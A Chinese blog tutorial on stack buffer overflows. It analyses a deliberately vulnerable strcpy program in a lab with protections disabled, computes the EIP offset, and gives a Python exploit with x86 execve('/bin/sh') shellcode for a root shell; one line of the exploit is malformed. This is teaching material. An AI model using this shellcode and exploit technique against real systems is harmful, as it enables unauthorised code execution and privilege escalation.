基于栈的缓冲区溢出

缓冲区溢出导致任意代码执行

Posted by gxkyrftx on February 24, 2019

0.前言

缓冲区溢出有两种:栈溢出和堆溢出。将源缓冲区复制到目标缓冲区,可导致源字符串长度大于目标字符串长度,造成输入的数据覆盖了正常代码。同时,如果使用精心构造的代码覆盖正常代码,可以导致程序执行流程的改变,从而导致任意代码执行,例如,将返回值返回到一个shell,获得系统的root权限,造成危害。

1.环境及工具

虚拟机环境:Ubuntu 12.04 Desktop(x86) 工具:gdb-peda

2.漏洞程序的成因分析

2.1 漏洞代码

一个简单的含有栈溢出漏洞的代码如下:

//vuln.c

#include <stdio.h>

#include <string.h>

int main(int argc, char* argv[]) {
        char buf[256];
        strcpy(buf,argv[1]);
        printf("Input:%s\n",buf);
        return 0;
}

漏洞代码的位置为:strcpy(buf,argv[1]),因为源缓冲区内容是用户输入的,而strcpy函数直接将buf的内容复制到一块连续的内存当中。如果是正好256字节的输入还好,若是大于256字节,则多出来的部分会造成后续内存中的内容的覆盖。可以通过gdb调试来看一下。

2.2 调试

首先编译链接源代码,使之成为可执行文件。(在此提一下,需要先关闭栈保护,使栈变得可写,这个漏洞才能生效;关闭aslr地址随机化关闭),修改可执行文件的用户组为root,修改权限等。

1

然后开始调试,先输入大量的A使程序崩溃

2

查看程序崩溃时的状态(这里再次提一下linux下一个好用的调试工具peda,一个github很火的开源项目,地址 https://github.com/longld/peda 可以自行安装)

3

看到esp为0xbffff1f0,可以知道buffer结束地址为0xbffff1f0,buffer首地址为0xbffff0f0。 然后使用ida查看程序的汇编代码

.text:08048414 ; __unwind {
.text:08048414                 push    ebp
.text:08048415                 mov     ebp, esp
.text:08048417                 and     esp, 0FFFFFFF0h
.text:0804841A                 sub     esp, 110h
.text:08048420                 mov     eax, [ebp+argv]
.text:08048423                 add     eax, 4
.text:08048426                 mov     eax, [eax]
.text:08048428                 mov     [esp+4], eax    ; src
.text:0804842C                 lea     eax, [esp+110h+dest]
.text:08048430                 mov     [esp], eax      ; dest
.text:08048433                 call    _strcpy
.text:08048438                 mov     eax, offset format ; "Input:%s\n"
.text:0804843D                 lea     edx, [esp+10h]
.text:08048441                 mov     [esp+4], edx
.text:08048445                 mov     [esp], eax      ; format
.text:08048448                 call    _printf
.text:0804844D                 mov     eax, 0
.text:08048452                 leave
.text:08048453                 retn
.text:08048453 ; } // starts at 8048414

只对关键语句解析:

.text:08048417                 and     esp, 0FFFFFFF0h  //栈对齐,地位地位为二进制0000,四个尾随零意味着将屏蔽任何数字的四个低位。该数字将被2除以4的幂,即16位对齐。

.text:0804841A                 sub     esp, 110h  //栈的扩张从高地址到低地址

.text:08048433                 call    _strcpy  //调用strcpy函数

由此我们可以算出,从buffer开始,0x10c=0x100(buffer的大小256字节)+0x8(对齐空间字节数)+0x4(调用者ebp的地址字节数),10进制为268字节。 再来试一下:输入A268+B4,可以看到eip成功被覆盖为4个B,测试成功。

4

3.编写exp

exp的构造思路如下:首先用合法字符对缓冲区进行填充,随后加入shellcode,获取到一个bash,将后面的正常代码用nop填充使其不执行。 python代码如下:

#exp.py 
#!/usr/bin/env  python 
import struct 
from subprocess import call 
ret_addr = 0xbffff1dd
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" 
def conv(num):  
  return struct.pack("<I",num) 
buf = "A"*268
buf+=conv(ret_addr)
buf+= "\x90" * 100 
buf+= scode 
print"Calling vulnerable program"  call(["./vuln",  buf])

其中ret_addr的值,满足以下条件即可:1.程序执行时合法。2不再nop的范围内。结果如下

5

可以看到通过执行exp成功获取了系统的root权限。


本文访问量: